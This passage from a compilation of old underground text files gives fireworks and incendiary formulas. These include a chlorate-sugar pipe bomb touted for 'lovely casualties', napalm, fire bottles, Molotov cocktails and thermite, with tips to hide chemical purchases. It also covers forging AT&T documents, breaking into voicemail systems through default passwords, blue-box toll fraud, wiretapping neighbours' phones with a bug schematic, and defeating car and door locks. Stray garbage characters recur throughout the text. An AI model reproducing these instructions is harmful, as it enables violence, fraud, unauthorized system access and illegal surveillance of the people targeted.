mixture of the two in a pyrotechnic mixture, as they burn at different speeds
and temperatures, and the proper combination will help control the speed of
combustion. Also, when extra fast burning speed is needed, like in rockets and
firecrackers, metal powder is often added. The finer the powder, the faster the
burning rate. The proportions change the speed, as well. Magnesium powder or
dust is often used for speed. Aluminum dust works, but not as well. Zinc dust
is used in some cases. Powdered metal, (not dust) particularly aluminum or
iron, are often used to produce a mixtire that shoots out sparks as it burns.
In rare cases, it is desirable to slow down the burning speed. In this case,
corn meal is often used. It burns, so acts as a reducing agent, but it doesn't
burn very well.
Coloring agents are very interesting. It's long been known that various metals
produce different colored flames when burned in a fire. The reasons are buried
in the realm of quantum physics, but the results are what matters, and we can
present them here. Note that if we use an oxidizing agent that contains a
colorizing metal, it can do a double job. It can produce oxygen and color.
Barium -Barium salts give a pleasant green color. Barium Nitrate is most
often used.
Strontium -Strontium salts give a strong red color. Strontium Nitrate is a
very convenient material for red.
Sodium -Sodium salts give an intense yellow color. So intense in fact that
any sodium compounds in a mixture will usually wash out other
colorizers. As has been said, Sodium Nitrate absorbs moisture from
the air, and so is not really suitable to impart color. Instead,
Sodium Oxalate is usually used. This does not absorb lots of water,
but has the disadvantage of being very poisonous.
Copper -Copper salts are used to give a blue color. Blue is the most
difficult color to produce, and it's usually not too spectacular.
Usually Copper Acetoarsenite (Paris Green) is used. This compound
contains arsenic, and is very poisonous. Since it still doesn't
produce a very memorable blue, it's often used with mercurous
chloride, which enhances the color, but is also poisonous, and
expensive, to boot.
Potassium -Potassium salts will give a delicate purple color, if they'e very
pure. The cheaper lab grades of potassium nitrate often contain
traces of sodium, which completely obscure the purple color. In
order to get the purple coloring, very pure grades must be used,
and you must be very careful to mix it in very clean vessels, and
scoop it from the supply jar with a very clean scoop. The color is
certainly worth the effort, if you can get it.
Some mixtures that burn in colors also contain binders, that hold the mixture
together in a solid lump. These lumps are usually referred to as stars. The
balls fired from a roman candle or the colorful showers sprayed from aerial
bombs are examples of stars. Depending on the mixture, the binder is either a
starch called dextrine or finely powdered orange shellac. A shellac-like
material called red gum is also used on occasion. In some mixtures, the shellac
powder also helps produce a nice color. Shellac mixtures are moistened with ∩ 7 Å3 èalcohol to get them to stick together. Dextrine mixtures are moistened with
water.
If the colored mixture is to be used as a flare, it's just packed into a thin
paper tube. If it's to be fired from a roman candle, it's usually extruded from
a heavy tube by pushing it out with a dowel, and the pieces are cut off as the
proper length pops out. Stars fired from an aerial bomb are usually made by
rolling the moist mixture flat, and cutting it with a knife into small cubes.
Stars that are extruded are often called "pumped stars" those that are rolled
out are "cut stars".
The following are formulas for mixtures that burn with various colors. Parts
are by weight.
Red
Potassium Chlorate 9
Lampblack 1
Strontium Nitrate 9
bind with shellac
dissolved in alcohol
Blue
Potassium Chlorate 9 This one is inferior
Copper Acetoarsenite 2 Potassium Chlorate 12
Mercurous Chloride 1 Copper Sulfate 6
Sulfur 2 Lead Chloride 1
bind with dextrine Sulfur 4
in water bind with dextrin in water
Green
Barium Chlorate 8 Barium Nitrate 3
Lampblack 1 Potassium Chlorate 4
Shellac Powder 1 Shellac Powder 1
bind with alcohol Dextrine 1/4
Bind with alcohol
Yellow
Potassium Chlorate 8 Potassium Chlorate 8
Sodium Oxalate 3 Sodium Oxalate 4
Lampblack 2 Shellac Powder 2
Bind with shellac in Dextrine 1
alcohol or dextrine Bind with alcohol
in water
White
Potassium Nitrate 6
Sulfur 1 ∩ 7 Å3 èAntimony Sulfide 2
bind with dextrine in
water
Orange
Strontium Nitrate 36
Sodium Oxalate 8
Potassium Chlorate 5
Shellac Powder 5
Sulfur 3
Bind with alcohol
Purple (ingredients must be very pure)
Potassium Chlorate 36 This one has more of a lilac color
Strontium Sulfate 10 Potassium Chlorate 38
Copper Sulfate 5 Strontium Carbonate 18
Lead Chloride 2 Copper Chloride 4
Charcoal 2 Lead Chloride 2
Sulfur 12 Sulfur 14
bind with dextrine in bind with dextrine in water
water
Brilliant White
Potassium Perchlorate 12
Aluminum Dust 4
Dextrine 1
Bind with water
Golden Twinkler Stars - Falls through the air and burns in an on and off
manner. The effect is spectacular. A pumped or cut star.
Potassium Nitrate 18
Sulfur 3
Lampblack 3
Aluminum Powder 3
Antimony Sulfide 3
Sodium Oxalate 4
Dextrine 2
Bind with water
Zinc Spreader Stars - Shoot out pieces of burning zinc and charcoal. These
stars are much heavier than usual, and require larger charges if they're to
be fired from a tube.
Zinc Dust 72
Potassium Chlorate 15
Potassium Dichromate 12
Granular Charcoal 12 ∩ 7 Å3 èDextrine 2
bind with water
Electric Stars - Stars that contain aluminum powder
Potassium Nitrate 15 Potassium Chlorate 60
Aluminum, fine 2 Barium Nitrate 5
Aluminum, medium 1 Aluminum, fine 9
Black Powder 2 Aluminum, medium 4
Antimony Sulfide 3 Aluminum, coarse 3
Sulfur 4 Charcoal 2
bind with dextrine in Dextrin 5
water bind with red gum in
water
Potassium Perchlorate 6
Barium Nitrate 1 Potassium Perchlorate 4
Aluminum 20 Aluminum, medium 2
Dextrin 1 Dextrin 1
bind with shellac in bind with shellac in alcohol
alcohol
Simpler Zinc Spreaders
Potassium Nitrate 14 Potassium Chlorate 5
Zinc Dust 40 Potassium Dichromate 4
Charcoal 7 Charcoal, medium 4
Sulfur 4 Zinc Dust 24
bind with dextrine in bind with dextrine in water
water
Willow Tree Stars - Use large amounts of lampblack -- too much to burn fully.
Gives a willow tree effect.
Potassium Chlorate 10
Potassium Nitrate 5
Sulfur 1
Lampblack 18
bind with dextrine in water
In future files, we'll look at using these mixtures to produce roman candles,
aerial bombs, and other effects. As always, don't forget that it's just plain
stupid to go buying all these materials from one chemical supply house. When
you buy it all as a group, they know what you plan to do with it, and they keep
records. If anyone goes investigating the source of homemade fireworks and
checks with your supplier, there will be a lead straight to you. Be sure to
cover your tracks.
AT&T FORGERY
Here is a very simple way to either:
∩ 7 Å3 è[1] Play an incredibly cruel and realistic joke on a phreaking end.
-OR-
[2] Provide yourself with everything you ever wanted to be an AT&T person.
All you need to do is get your hands on some AT&T paper and/or business
cards. To do this you can either go down to your local business office and
swipe a few or call up somewhere like WATTS INFORMATION and ask them to send
you their information package. They will send you:
1. A nice letter (with the AT&T logo letterhead) saying "Here is the info."
2. A business card (again with AT&T) saying who the sales representative is.
3. A very nice color booklet telling you all about WATTS lines.
4. Various billing information. (Discard as it is very worthless)
Now take the piece of AT&T paper and the AT&T business card down to your
local print/copy shop. Tell them to run you off several copies of each, but
to leave out whatever else is printed on the business card/letter. If they
refuse or ask why, take your precious business elsewhere.
(This should only cost you around $2.00 total)
Now take the copies home and either with your typewriter, MAC, or Fontrix,
add whatever name, address, telephone number, etc. you like. (I would
recommend just changing the name on the card and using whatever information
was on there earlier)
And there you have official AT&T letters and business cards. As mentioned
earlier, you can use them in several ways. Mail a nice letter to someone you
hate (on AT&T paper..hehehe) saying that AT&T is onto them or something like
that. (Be sure to use correct English and spelling) (Also do not hand write
the letter! Use a typewriter! - Not Fontrix as AT&T doesn't use OLD ENGLISH
or ASCII BOLD when they type letters. Any IBM typewriter will do perfectly)
Another possible use (of many, I guess) is (if you are old enough to look
the part) to use the business card as some sort of fake id.
The last example of uses for the fake AT&T letters & b.cards is mentioned
in my textfile, BASIC RADIO CALLING. Briefly, send the station a letter that
reads:
WCAT - FM202: (Like my examples? Haha!)
(As you probably know, radio stations give away things by accepting the 'x'
call. (ie: The tenth caller through wins a pair of Van Halen tickets)
Sometimes they may ask a trivia question, but that's your problem. Anyway, the
letter continues:)
(You basically say that they have become so popular that they are getting
too many calls at once from listeners trying to win tickets. By asking them
to call all at the same time is overloading our systems. We do, of course,
have means of handling these sort of matters, but it would require you sending
us a schedule of when you will be asking your listeners to call in. That way
we would be able to set our systems to handle the amount of callers you get at
peak times..(etc..etc..more BS..But you get the idea, right?)
The Hacker's Handbook
[ Definitions ] ∩ 7 Å3 è
Phreak ["free"k] Verb--1. The act of "Phreaking" 2. The act of making
telephone calls without paying money [Slang]
Phreaker ["free"-k-er] Noun--1. One who engages in the act of "Phreaking"
2. One who makes telephone calls without paying money [Slang]
Voice Mail is a relatively new concept and not much has been said about it.
It is a very useful tool for the business person and the phreak. The way it
works is that somebody wishing to get in touch with you calls a number,
usually a 1-800, and punches in on his touch-pad your mailbox number and then
he is able to leave a message for you. Business experts report that this
almost totally eliminates telephone tag. When a person wishes to pick up his
message all he needs to do is call the number enter a certain code and he can
hear his messages, transfer them, and do other misc. mailbox utilities.
Most VMSs are similar in the way they work. There are a few different ways
the VMSs store the voice. One way is that the voice is recorded digitally and
compressed and when heard it is reproduced back into the voice that recorded
it. Another method that is slower and uses more space, but costs less, stores
the voice on magnetic tape, the same type that is used to store data on a
computer, and then runs the tape at a slow speed. Using this method the voice
does not need to be reproduced in any way and will sound normal as long as the
tape is running at a constant speed. On some of the newer VMSs the voice is
digitally recorded and is transformed from the magnetic tape at about 2400
bits per second.
There are many different types and versions of voice mail systems. Some of
the best and easiest to get on will be discussed.
Centagram
---------
These are direct dial (you don't have to enter a box number). To get on one
of these, first have a number to any box on the system. All of the other
boxes will be on the same prefix; just start scanning them until you find one
that has a message saying that person you are calling is not available. This
usually means that the box has not been assigned to anybody yet. Before the
nice lady's voice tells you to leave the message, hit #. You will then be
prompted for your password. The password will usually be the same as the last
four digits of the box's number or a simple number like 1000, 2000, etc. Once
you get on, they are very user friendly and will prompt you with a menu of ∩ 7 Å3 èoptions. If you can't find any empty boxes or want to do more, you can hack
but the system administrators box, which will usually be 9999 on the same
prefix as the other boxes, will allow you to hear anybody's messages and
create and delete boxes.
Sperry Link
-----------
These systems are very nice. They will usually be found on an 800 number.
These are one of the hardest to get a box on because you must hack out a user
ID (different from the person's box number) and a password. When it answers,
if it says, "This is a Sperry Link voice station. Please enter your user ID,"
you will have to start trying to find a valid user ID. On most Sperrys it
will be a five digit number. If it answers and says, "This is an X answering
service," you first have to hit *# to get the user number prompt. Once you
get a valid user number will have to guess the password on most systems, it
will be 4 digits. Once you get in, these are also very user friendly and have
many different options available.
RSVP
----
This is probably one of the worst VMSs but it is by far the easiest to get
yourself a box. When it answers you can hit * for a directory of the boxes on
it (it will only hold 23). If you hit # you will be given a menu of options
and when you choose an option you will then be prompted for your ID number.
The ID number on an RSVP system will just about always be the same as the
mailbox number, which are always only 2 digits.
A.S.P.E.N.
----------
The Aspen voice message systems made by Octel Telecommunications is in my
opinion the BEST VMS made. To get a box on an Aspen, you need to find an
empty box. To find an empty box, scan the box numbers and if one says, "You
entered XXXX. Please leave a message at the tone," then this is an empty box.
You next just press # and when prompted for your box number enter the number
of the empty box and friendly voice of the nice lady will guide you through
all of the steps of setting up your box. She first tells you what you can do
with the box and then will prompt you with, "Please enter the temporary
password assigned to you by your system manager." This password will usually
be 4 digits long and the same as the box number like 1000, etc. Once you get
on their are many things you can do. You can make a distribution list where
if you want to leave a certain message to more than one person, you can enter
the list number and all of the boxes on the list will get the message. You can
also have the system call you and notify you that you have new messages. These
systems also have what they call "Information center mailboxes" that are
listen only and can also have a password on them so the person calling has to
enter the password before he hears the greeting message. Aspen VMSs have a
system managers mailbox that will just about give you total control of the
whole system and let you listen to people's mail, create and delete boxes, and
many other things.
IMPROVISED INCENDIARIES
1) Chlorate-Sugar mix ∩ 7 Å3 è
This mixture can be either an incendiary or an explosive. Sugar is the
common granulated household type. Either potassium chlorate (KClO3) or sodium
chlorate (NaClO3) can be used; but potassium is potassium is preferred.
Proportions can be by equal parts or by volume, or 3 parts chlorate to 2 parts
sugar preferred. Mix in or on a non-sparking surface. Unconfined, the mixture
is an incendiary. Confined in a tightly capped length of pipe, it will explode
when a spark is introduced. Such a pipe will produce lovely casualties, but is
not very good for breaching of cutting up. Concentrated sulfuric acid will
ignite this very fast burning incendiary mixture. Placing the acid in a
gelatin capsule, balloon, or other suitable container will provide a delay,
(length of which depends on how long it takes for the acid to eat through the
container).
2) Potassium Permanganate And Sugar
Another fast burning, first fire mix is obtained by mixing potassium
permanganate, 9 parts, to one part sugar. It is some what hotter than the
chlorate sugar mix, and can be ignited by the addition of a few drops of
glycerine.
3) Improvised Napalm
In talking about this, I have found that there are many ways to this
wonderful substance. My favorite is by mixing gasoline and styrofoam. Usually
in a metal can. Keep adding the styrofoam until the mix is very stinky, an then
add a little bit of kerosine. Another method is by taking a double boiler,
filling the bottom portion with approx 3/4 full of water. Put either gasoline
or kerosine into the top. Add pure SOAP chips to the mix. Heat the fuel until
it boils and then simmers. Stir constantly until the desired consistency is
reached: remember that it will thicken further on cooling. Last we come the
'Soldier' technique, anyone who saw this movie will recognize this one.
Carefully heat the end of a 100 watt light bulb. again-carfully remove the
metal end and internal parts. Fill the glass bulb with half gasoline. and then
1/4 more with dish washing liquid. Finally take rubber cement and glue the two
parts back together. Be sure that you put enough mixture into the build so
that the metal wire is well submerged before use and during.
4) Molded Bricks That Burn
Proportions are 3 parts aluminum powder, 4 parts water and 5 parts plaster
of paris. Mix the aluminum and plaster thoroughly together, then add the water
and stir vigorously. Pour the resulting mix into a mold, let harden, and then
dry for 2 to 3 weeks. These blocks are hard to ignite, and take a long time to
make, but when ignited on mild steal, they have a tendency to melt it.
5) The Fire Bottle
Fill a good Jack Daniel's bottle about one-fifth to one-fourth full with
sulfuric acid. Fill the remainder with gasoline, kerosine, or a good
combination of the two and mix thoroughly. Add water to Potassium Chlorate and
sugar mix, and soak rags in the mix. Wrap the rags around the bottle, tie in
place, and allow to dry. When thrown at a T-62 or other target, the bottle
will break, the acid will ignite the chlorate-sugar mix on the rags, which will
ignite the fuel. ∩ 7 Å3 è
6) Molotov Cocktails
These do not 'explode' per say, they just spread around the fuel and, if your
lucky the oil/gas mix combusts enough to give you a little "boom". A two to
one ratio of gas to oil works nicely. Napalm can also be used, or jelly gas is
fine.
7) Thermite
Use any size can with sticks tied or taped to sides and cut a small hole in
the bottom. Cover bottom with paper. Place round stick wrapped in paper in
middle of can. Fill bottom of can 1/4 inch with magnesium. Over this place
mixture of 3 parts ferric oxide and 2 parts aluminum powder. Remove stick
(leaving paper tunnel) and fill hole with mixture 3 parts potassium chlorate
and 1 part sugar. Top the hole with a paper bag containing chlorate-sugar mix
with fuse protruding Tamp top with dirt or clay.
THE JOY OF "BOXING"
BY THE DRAGYN
I AM WRITTING THIS ARTICLE TO INFORM THOSE OF YOU THAT HAVE A BOX
AND ARE GETTING BORED WITH NOTHING TO DO OR IF YOU JUST AREN'T QUITE
SURE WHAT YOU ARE DOING WHEN YOU PLAY AROUND WITH MF TONES. FIRST OF
ALL, WHEN YOU BLAST OUT THE 2600HZ TONE, YOU ARE DROP PING A TRUNK AND
ESSENTIALLY, YOU BECOME YOUR OWN OPERATOR. WHEN YOU PLACE A LONG
DISTANCE PHONE CALL, A COMPUTER USUALLY DOES THE MF TONES FOR YOU AND
YOU DON'T HEAR THEM. IN THIS ARTICLE, I WILL DEAL WITH INTERNATIONAL
CALLING, CONFERENCING, EMERGENCY-BREAK THROUGHS AND JUST HAVING FUN
WITH THE BOX. BUT NOWDAYS, BOXING IS MUCH MORE RISKIER THAN IT WAS
BACK 10-15 YEARS AGO, SO IF YOU AREN'T CAUTIOUS OR YOU LIVE ON A
MODERN ESS, THAN YOU MIGHT JUST GET CAUGHT (BUT IF YOU'RE NOT 18 YET
THEN BIG DEAL! GO RAG THE HELL OUT OF MA BELL!)
HAVE YOU EVER WANTED TO CALL OVERSEAS AND TALK TO SOMEONE IN ANOTHER
COUNTRY? OR ARE YOU JUST BORED OF METROFONE OR MCI? THEN TRY THIS:
WHEN YOU PLACE AN INTERNATIONAL CALL, IT IS ROUTED THROUGH THE CLOSEST
OR CLOSEST UNBUSY INTERNATIONAL LINK. YOU CAN FIND THESE LINKS BY
GOING KP-213-182-ST. THIS IS THE LOS ANGLES LINK. MOST MAJOR CITIES
HAVE THEM BY THE COAST LIKE NEW YORK KP-212-182-ST AND EVEN DENVER
KP-303-182-ST. WHEN YOU CALL ONE OF THESE LINKS, YOU WILL GET A TONE,
SOMETIMES NOT, AND THEN YOU HAVE ABOUT 10 SECONDS TO ENTER THE NUMBER
YOU ARE DIALING IN MF TONES. IF YOU MAKE A MISTAKE, IT WILL TELL YOU.
THE NORMAL FORMAT FOR MAKING A CALL WOULD BE: KP-212-182-ST (WAIT FOR
TONE) KP-( COUNTRY CODE)-(PHONE NUMBER IN COUNTRY) -ST THEN WAIT FOR
THE CALL TO GO THROUGH.
THERE TWO WAYS TO DO CONFERENCE CALLS. ONE IS TO MF UP
KP-213-080-1050- ST. THIS GIVES YOU ALIANCE TELE-CONFERENCING IN LOS
ANGLES. THE WAY THIS ONE WORKS IS YOU ENTER KP-2130801050-ST WAIT
TILL YOU HEAR IT DROP TWICE THEN YOU ENTER ANOTHER NUMBER THAT THE
CALL IS GOING TO BE BILLED TO (USUALLY SOME- ONE THAT YOU DON'T LIKE).
THIS ONE IS TOTALLY COMPUTER CONTROLLED AND YOU JUST ENTER THE INFO
NEEDED BY A NORMAL TOUCH TONE PAD. THE OTHER WAY FOR CONFERENCING IS ∩ 7 Å3 èTO MF UP YOUR LOCAL OR NOT SO LOCAL CONFERENCE OPERATOR. TO DO THIS
JUST DROP A TRUNK THEN GO KP-(AREA CODE)-11511-ST AND THE LADY WILL
ANSWER "CONFERENCE OPERATOR, CAN I HELP YOU?" NOW IF YOU WANTED TO
HOOK JUST 1-10 PEOPLE TOGETHER YOU GIVE HER THE PH#S AND SHE WILL DIAL
THEM UP AND PUT EVERYONE ON TOGETHER, MEANWHILE, SHE THINKS YOU ARE
THE OPERATOR SETTING IT UP FOR SOMEONE ELSE. ONE NOTE, WHENEVER YOU
ARE DIALING IN MF TONES AND GET AN OPERATOR, THEY HAVE NO IDEA THAT
YOU ARE BOXING, THEY JUST THINK YOU ARE AN OPERATOR FROM SOMEWHERE OUT
OF TOWN. SO DON'T BE SCARED, GIVE THOSE OPERATORS HELL! IN FACT, IF
YOU CAN FIND A GOOD OPERATOR, THEY WILL EVEN TELL YOU HOW TO DO
THINGS.
NOW DON'T YOU ALL HATE A BUSY SIGNAL? EVER TRY TO GET TO SOMEONE
AND THE LINE WAS BUSY? WELL, DON'T FRET ANYMORE! LET'S SAY THAT THE
PHONE NUMBER 612-874-8700 WAS BUSY AND YOU WANTED TO GET THROUGH.
FIRST YOU WOULD DROP YOUR TRUNK THEN GO KP-612-121-ST. THIS WILL GIVE
YOU A LOCAL OPERATOR IN THE 612 AREA CODE. WHEN SHE ANSWERS (SHE
THINKS YOU ARE AN OPERATOR FROM SOME-WHERE ELSE CALLING) YOU SAY
"EMERGENCY INTERRUPTION ON AREA CODE 612-874-8700 AND THE PARTIES NAME
IS PETER (OR SOME DUMP NAME)." SINCE TRUNK VERIFICATION CANNOT BE DONE
BY OUTSIDE TOLL SWITCHING SYSTEMS, YOU CANNOT DO THESE BY BOXING AND
YOU HAVE TO LET THE OPERATOR DO THEM FOR YOU. AGAIN, SHE HAS NO WAY
OF KNOWING THAT YOU AREN'T AN OPERATOR WHEN YOU CALL HER UNLESS YOU
ARE 12 YEARS OLD AND SOUND LIKE A SNIVELING LITTLE WIMP. AFTER THE
OPERATOR HAS CLEARED THE LINE, YOU CAN DIAL IT AND I T WON'T BE BUSY.
IF IT IS OUT OF ORDER SHE MAY SAY IT IS ODD OR OFF THE HOOK.
NOW LET'S SAY YOU JUST WANT TO MAKE AN ORDINARILY PHONE CALL OR CALL
AN 800 PH#. AFTER YOU DROP YOUR TRUNK, JUST DO THIS KP-(AREA
CODE)-(PH#)-ST, AND NOTICE THAT NO '1' IS NEEDED.
NOW, WHAT IF YOU HAVE A FRIEND WITH A PHONE IN HIS CAR? WELL, YOU
JUST MF UP THE MOBILE OPERATOR BY GOING KP-(AREA CODE)-11521-ST.
AGAIN, REMEMBER THAT WHENEVER YOU TALK TO ONE OF THE OPERATORS, THEY
HAVE NO WAY OF KNOWING WHETHER YOU ARE A REAL OPERATOR OR NOT SO GIVE
THEM HELL AND DON'T BE SCARED! I GUESS THAT THIS IS ALL FOR NOW, BUT
IF YOU WOULD LIKE MORE INFORMATION, LEAVE E-MAIL BUT NO RUGGIES
PLEASE.
* PRIVATE AUDIENCE *
(A BASIC LESSON IN THE ART OF LISTENING IN)
Federal law:
Section 605 of title 47 of the U.S code, forbids interception of
communication, or divulagance of intercepted communication except by persons
outlined in section 119 of title 18 (a portion of the Omnibus crime control and
safe streets act of 1968). This act states that "It shall not be unlawful under
this act for an operator of a switchboard, or an officer, employee, or agent of
any communication common carrier who's switching system is used in the ∩ 7 Å3 ètransmission of a wire communication to intercept or disclose intercepted
communication."
PART II: TAPPING
Everyone has at some time wanted to hear what a friend, the principal, the prom
queen, or a neighbor has to say on the phone. There are several easy ways to
tap into a phone line. None of the methods that I present will involve actually
entering the house. You can do everything from the backyard. I will discuss
four methods of tapping a line. They go in order of increasing difficulty.
1. The "beige box": a beige box (or bud box) is actually better known as a
"lineman" phone. They are terribly simple to construct, and are basically the
easiest method to use. They consist of nothing more than a phone with the
modular plug that goes into the wall cut off, and two alligator clips attached
to the red and green wires. The way to use this box, is to venture into the
yard of the person you want to tap, and put it onto his line. This is best done
at the bell phone box that is usually next to the gas meter. It should only
have one screw holding it shut, and is very easily opened. Once you are in, you
should see 4 screws with wires attached to them. If the house has one line,
then clip the red lead to the first screw, and the green to the second. You are
then on the "tappee's" phone. You will hear any conversation going on. I
strongly recommend that you remove the speaker from the phone that you're using
so the "tappee" can't hear every sound you make. If the house has two lines,
then the second line is on screws three and four. If you connect everything
right, but you don't get on the line, then you probably have the wires
backward. Switch the red to the second screw and the green to the first. If no
conversation is going on, you may realize that you can't tap the phone very
well because you don't want to sit there all night, and if you are on the
phone, then the poor tappee can't dial out, and that could be bad...so.......
method two.
2. The recorder: This method is probably the most widespread, and you still
don't have to be a genius to do it. There are LOTS of ways to tape
conversations. The two easiest are either to put a "telephone induction pickup"
(Radio Shack $1.99) on the beige box you were using, then plugging it into the
microphone jack of a small tape recorder, and leaving it on record. Or plugging
the recorder right into the line. This can be done by taking a walkman plug,
and cutting off the earphones, then pick one of the two earphone wires, and
strip it. There should be another wire inside the one you just stripped. Strip
that one too, and attach alligators to them. Then follow the beige box
instructions to tape the conversation. In order to save tape, you may want to
use a voice activated recorder (Radio Shack $59), or if your recorder has a
"remote" jack, you can get a "telephone recorder control" at Radio shack shack
for $19 that turns the recorder on when the phone is on, and off when the phone
is off. This little box plugs right into the wall (modularly of course), so it
is best NOT to remove the modular plug for it. Work around it if you can. If
not, then just do you best to get a good connection. When recording, it is good
to keep your recorder hidden from sight (in the Bell box if possible), but in a
place easy enough to change tapes from.
3. The wireless microphone: this is the BUG. It transmits a signal from the
phone to the radio (FM band). You may remember Mr. Microphone (from Kaytel
fame); these wireless microphones are available from Radio Shack for $19. They
are easy to build and easy to hook up. There are so many different models, that ∩ 7 Å3 èis is almost impossible to tell you exactly what to do. The most common thing
to do is to cut off the microphone element, and attach these two wires to
screws one and two. The line MIGHT, depending on the brand, be "permanently off
hook". This is bad, but by phucking around with it for a while, you should get
it working. There are two drawbacks to using this method. One, is that the poor
asshole who is getting his phone tapped might hear himself on "FM 88, the
principal connection". The second problem is the range. The store bought
transmitters have a VERY short range. I suggest that you build the customized
version I will present in part four (it's cheaper too). Now on to the best of
all the methods....
4. The "easy-talks": This method combines all the best aspects of all the the
other methods. It only has one drawback... You need a set of "Easy-talk" walkie
talkies. They are voice activated, and cost about $59. You can find 'em at toy
stores, and "hi-tech" catalogs. I think t(at any voice activated walkie talkies
will work, but I have only tried the easy-talks. First, you have to decide on
one for the "transmitter" and one for the "receiver". It is best to use the one
with the strongest transmission to transmit, even though it may receive better
also. De-solder the speaker of the "transmitter", and the microphone of the
"receiver". Now, go to the box. put the walkie talkie on "VOX" and hook the
microphone leads (as in method three) to the first and second screws in the
box. Now go home, and listen on your walkie talkie. If nothing happens, then
the phone signal wasn't strong enough to "activate" the transmission. If this
happens, there are two things you can do. One, add some ground lines to the
microphone plugs. This is the most inconspicuous, but if it doesn't work then
you need an amplifier, like a walkman with two earphone plugs. Put the first
plug on the line, and then into one of the jacks. Then turn the volume all the
way up (w/out pressing play). Next connect the second earphone plug to the mice
wires, and into the second earphone outlet on the walkman. Now put the whole
mess in the box, and lock it up. This should do the trick. It gives you a
private radio station to listen to them on: you can turn it off when something
boring comes on, and you can tape off the walkie talkie speaker that you have!
PART IV: WIRELESS TRANSMITTER PLANZ
This is a tiny transmitter that consists on a one colpitts oscillator that
derives it's power from the phone line. Since the resistance it puts on the
line is less than 100 ohms, it has no effect on the telephone performance, and
can not be detected by the phone company, or the tappee. Since it is a
low-powered device using no antenna for radiation, it is legal to the FCC.
(That is it complies with part 15 of the FCC rules and regulations). It,
however is still illegal to do, it's just that what you're using to do it is
legal. This is explained later in part 15... "no person shall use such a device
for eavesdropping unless authorized by all parties of the conversation" (then
it's not eavesdropping is it?). What this thing does, is use four diodes to
form a "bridge rectifier". It produces a varying dc voltage varying with the
auto-signals on the line. That voltage is used to supply the the voltage for
the oscillator transistor. Which is connected to a radio circuit. From there,
you can tune it to any channel you want. The rest will all be explained in a
L1 may be constructed by winding approximately 40 turns of No. 36
enamel wire on a mega-ohm, 1/2 watt resistor. The value of L1 is
not critical. L2 can be made by wrapping 5 turns of No. 20 wire
around a 1/4 inch form. After the wire is wrapped, the form can
be removed. Just solder it into place on the circuit board. It
should hold quite nicely. Also be sure to position Q1 so that the
emitter, base, and collector are in the proper holes. The
schematic should be pretty easy to follow. Although it has an
unusual number of grounds, it still works.
------------------L1----------------
--
CR1 / \ CR2 ----------------
A--------------/ \ -- ----
\ / C2 L2
CR3 \ /CR4 C1 R2 ----
R1 -- gnd C3
---- -----
gnd
---------Base collector
R3 \ /
B----------------------- \/\ <- Q1
gnd \/
emitter(gnd)
The odd thing about this bug that we haven't encountered yet, is that it is put
on only one wire (either red or green) so go to the box, remove the red wire
that was ALREADY on screw #1 and attach it to wire 'A' of the bug. Then attach
wire 'B' to the screw itself. You can adjust the frequency which it comes out
on the FM channel by either smooshing, or widening the coils of L2. It takes a
few minutes to get to work right, but it is also very versatile. You can change
the frequency at will, and you can easily record off your radio.
PART FIVE: HELPFUL HINTS ∩ 7 Å3 è
First of all, With method one, the beige box, you may notice that you can also
dial out on the phone you use. I don't recommend that you do this. If you
decide to anyway, and do something conspicuous like set up a 30 person
conference for three hours, then I suggest that you make sure the people are
either out of town or dead. In general, when you tap a line, you must be
careful. I test everything I make on my line first, then install it late at
night. I would not recommend that you leave a recorder on all day. Put it on
when you want it going, and take it off when you're done. As far as recording
goes, I think that if there is a recorder on the line it sends a sporadic beep
back to the phone co. I know that if you don't record directly off the line
(i.e off your radio) then even the most sophisticated equipment can't tell that
you're recording. Also, make sure that when you install something, the people
are NOT on the line. Installation tends to make lots of scratchy sounds, clicks
and static. It is generally a good thing to avoid. It doesn't take too much
intelligence to just make a call to the house before you go to install the
thing. If it's busy then wait a while. (This of course does not apply if you
are making a "midnight run").
All in all, if you use common sense, and are *VERY* careful, chances are you
won't get caught. Never think that you're unstoppable, and don't broadcast what
you're doing. Keep it to yourself, and you can have a great time.
Miracle Lock Picking
While the basic themes of lockpicking and uninvited entry have not
changed too much in the last few years, some modern devices and techniques
HAVE appeared on the scene...
AUTOS
Many older autos can still be opened by easily with a SLIM JIM type
opener (these and other auto locksmithing techniques are covered fully in the
book, IN THE STEAL OF THE NIGHT. Look for it at the next gun-show in your
town.); however, many modern cars have built covers over the lock mechanism,
or have moved the goodies so the Slim Jim will not function...
So...
AMERICAN LOCKSMITH SERVICE
P.O. Box 26
Culver City, CA 90230
Carries a new and improved Slim Jim that is 30" long and only 3/4" wide so it
will both reach and slip through the new car lock covers. Price is $5.75 plus
$2.00 postage and handling.
General Motors cars have always been a bane to people who needed to open
them, because the sidebar locking unit they employ is very difficult to pick.
To further complicate matters, the new GM cars do employ metal shields to make
the use of a Slim Jim type instrument very difficult...
So... ∩ 7 Å3 è
LOCK TECHNOLOGY CORP.
685 Main St.
New Rochelle, NY 10801
Offers a cute little gizmo which will easily remove the lock cylinder without
harm and let you enter and/or start the vehicle. GMC-40 sells for $56.00 plus
$2.00 postage and handling. The best general automobile opening kit is
probably the set of lockout tools offered by:
STECK MFG COPR.
1319 W Stewart St.
Dayton, OH 45408
For $29.95 one can purchase a complete set of 6 carbon steel lockout tools
that will open 95%+ of the cars around.
Kwikset locks have become quite popular as one-step-up security locks for
buildings. They are a bit harder to pick and do offer a higher degree of
privacy than a normal, builder installed, door lock.
So...
Kwikset locks can be handily disassembled and the door opened, without harm to
either the lock or the door, by using a KIWK-OUT tool sold by:
A MFG
1151 Wallace SE
Massilon, OH 44646
Price is $11.95, but if you are too lazy to pick auto locks...
VEEHOF SUPPLY
Box 361
Storm Lake, IO 50588
Still sells tryout keys for most cars. Price averages about $20.00 a set.
Updated Lock Picking:
For years, there have been a number of pick attack procedures for most
pin and disc tumbler lock systems. In reverse order of ease they are:
Normal picking: Using a pick set to align the pins, one by one, until the
shear line is set and lock opens.
Raking: This method uses picks that are constructed wth a series of bumps, or
diamond shaped notches. these picks are "raked", i.e., run over all pins at
one time. With luck, the pins will raise into the open position and stay
there. Raking, if successful, can be much less effort than standard picking
is.
Lock Aid Gun: This gun shaped device was invented a number of years ago and
has found applicatin with many locksmiths and security personnel. Basically, ∩ 7 Å3 èa needle shaped pick is inserted in the snout of the "gun" and the "trigger"
is pulled. This action snaps the pick up and down strongly. If the tip is
slipped under the pins, they will also be snapped up and down strongly. With
a bit of luck, they will strike each other and separate at the shear line for
a split second. When this happens the lock will open. The Lock Aid gun is
not 100% successful, but when it does work, the results are quite dramatic. I
have opened locks with one snap of the trigger, impressing the hell out of
casual bystanders....
Vibrator: Some crafty people have mounted a needle pick onto an electric
